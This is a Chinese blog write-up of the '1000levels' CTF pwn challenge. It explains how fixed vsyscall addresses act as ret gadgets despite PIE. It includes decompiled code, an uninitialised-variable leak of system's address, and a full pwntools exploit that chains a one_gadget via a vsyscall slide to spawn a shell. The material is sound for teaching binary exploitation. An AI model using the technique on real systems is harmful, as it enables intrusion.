Ikoct的饮冰室

你愿意和我学一辈子二进制吗?

0%

Vsyscall在Pwn中的应用

咦!? 这都有retn用的哦 嚯嚯嚯嚯嚯嚯

Vsyscall是什么?

简单来说这是早期Linux系统(Ubuntu 12.04 LTS ~ Ubuntu 16.04 LTS; glibc2.15 ~ glibc2.23; 更高的版本这个机制逐渐被vDSO取代 可以手动开启)对几个系统调用做的简化机制 在程序被载入虚拟内存时会加上一段Vsyscall 其中有gettimeofday, time, getcpu 3个系统调用

这几个系统调用在任何权限下都可以调用而且相比使用对应的用户态函数更快

但是Vsyscall有一个致命缺陷就是这个段在虚拟内存中的地址是固定的 即使开启了PIE这几个系统调用的地址也是固定的 分别是0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800

同时这几个简单的系统调用不需要参数 这意味着在不对寄存器值有要求的情况下Vsyscall可以当作ret的下位替代

更详细的信息参考这篇问答

应用举例

[攻防世界] 1000levels

先检查一下 除了Canary保护全开

image-20250212154759830

IDA看看逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int menu()
{
puts("1. Go");
puts("2. Hint");
puts("3. Give up");
return puts("Choice:");
}

__int64 __fastcall main(int a1, char **a2, char **a3)
{
int num; // eax

sub_DDC();
menu();
while ( 1 )
{
while ( 1 )
{
menu();
num = get_num();
if ( num != 2 )
break;
hint();
}
if ( num == 3 )
break;
if ( num == 1 )
guess();
else
puts("Wrong input");
}
sub_D92();
return 0LL;
}

只有两个功能 先看看hint:

1
2
3
4
5
6
7
8
9
10
int hint()
{
char v1[264]; // [rsp+8h] [rbp-108h] BYREF

if ( unk_20208C )
sprintf(v1, "Hint: %p\n", &system);
else
strcpy(v1, "NO PWN NO FUN");
return puts(v1);
}

如果unk_20208C非零就会泄露system的地址 但是交叉引用一下就会发现没有别的地方用到了这个值 正常不可能进入该分支

接下来看看真正能操作的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
_BOOL8 __fastcall test(int a1)
{
__int64 v2; // rax
_QWORD buf[4]; // [rsp+10h] [rbp-30h] BYREF
int v4; // [rsp+34h] [rbp-Ch]
int v5; // [rsp+38h] [rbp-8h]
int v6; // [rsp+3Ch] [rbp-4h]

memset(buf, 0, sizeof(buf));
if ( !a1 )
return 1LL;
if ( !test(a1 - 1) )
return 0LL;
v6 = rand() % a1;
v5 = rand() % a1;
v4 = v5 * v6;
puts("====================================================");
printf("Level %d\n", a1);
printf("Question: %d * %d = ? Answer:", v6, v5);
read(0, buf, 0x400uLL);
v2 = strtol((const char *)buf, 0LL, 10);
return v2 == v4;
}

int guess()
{
__int64 num; // [rsp+0h] [rbp-120h]
int v2; // [rsp+8h] [rbp-118h]
int v3; // [rsp+Ch] [rbp-114h]
__int64 v4; // [rsp+10h] [rbp-110h]
__int64 v5; // [rsp+10h] [rbp-110h]
int v6; // [rsp+18h] [rbp-108h]
char v7[256]; // [rsp+20h] [rbp-100h] BYREF

puts("How many levels?");
num = get_num();
if ( num > 0 )
v4 = num;
else
puts("Coward");
puts("Any more?");
v5 = v4 + get_num();
if ( v5 > 0 )
{
if ( v5 <= 99 )
{
v6 = v5;
}
else
{
puts("You are being a real man.");
v6 = 100;
}
puts("Let's go!'");
v2 = time(0LL);
if ( test(v6) )
{
v3 = time(0LL);
sprintf(v7, "Great job! You finished %d levels in %d seconds\n", v6, v3 - v2);
puts(v7);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward Coward Coward Coward Coward");
}

要我们输入要挑战的等级数然后进行算数挑战 test中有足够的溢出量而且程序中链接了system 问题是题目开启了PIE 即使有足够的溢出量也无法调用到甚至传递参数给system

这里唯一能联想到漏洞的就是guessv4(qword [rbp - 0x110])是有可能未定义的(第一次输入挑战次数小于1时) 这会导致v4可能会泄露同一个调用深度(自创的词 想不出别的形容 call语句使深度+1 ret使深度-1)的栈帧中的某个变量

guess在同一个调用深度的函数会是哪个呢? 再来看看比guess浅1层的main 不难想到不如看看hint

image-20250212160929752

现在再看就会觉得题目出的有点刻晴了 如果在调用guess前调用了hint 那么这个未定义的v4就会泄露system的地址并且我们可以通过第二次输入挑战次数来改变这个值为任意的地址:

image-20250212161212805

现在 当我们找到一个one gadget并将它与system的偏移在第二次输入挑战次数时输入 我们就得到了一个栈上的ROPgadget 现在唯一的问题是要如何将RSP移动到这个地址上并执行retn 这里就用到了上面介绍的Vsyscall 只要用这个当作retn在test最后一次被调用(此时调用深度为guess的+1)时从[rbp + buf]开始一直覆盖到guess的栈帧直到我们的one gadget(也可以提前覆盖 test是递归调用的 调用深度会很深 需要覆盖的栈帧会比较多 溢出量不一定够用 直接从最后一次开始覆盖用到的溢出量会少一点)

这里给出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

elf = ELF('./100levels')
# p = remote('61.147.171.105', 53943)
p = remote('localhost', 20000)
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))

libc = ELF('./libc.so')
system = libc.symbols['system']
one_gadget = 0x4526a
bias = one_gadget - system
sla(b'Choice:', b'2')
sla(b'Choice:', b'1')
sla(b'levels?', b'-1')
sla(b'more?', str(bias).encode())
for _ in range(99):
ru(b'Question: ')
q = ru(b' =').decode().split(' ')
print(q)
ans = int(q[0]) * int(q[2])
print(ans)
sla(b'Answer:', str(ans).encode())

padding = b'A' * 0x30 + b'B' * 8
Vsyscall = p64(0xffffffffff600400)
payload = padding + Vsyscall * 3
sa(b'Answer:', payload)

itr()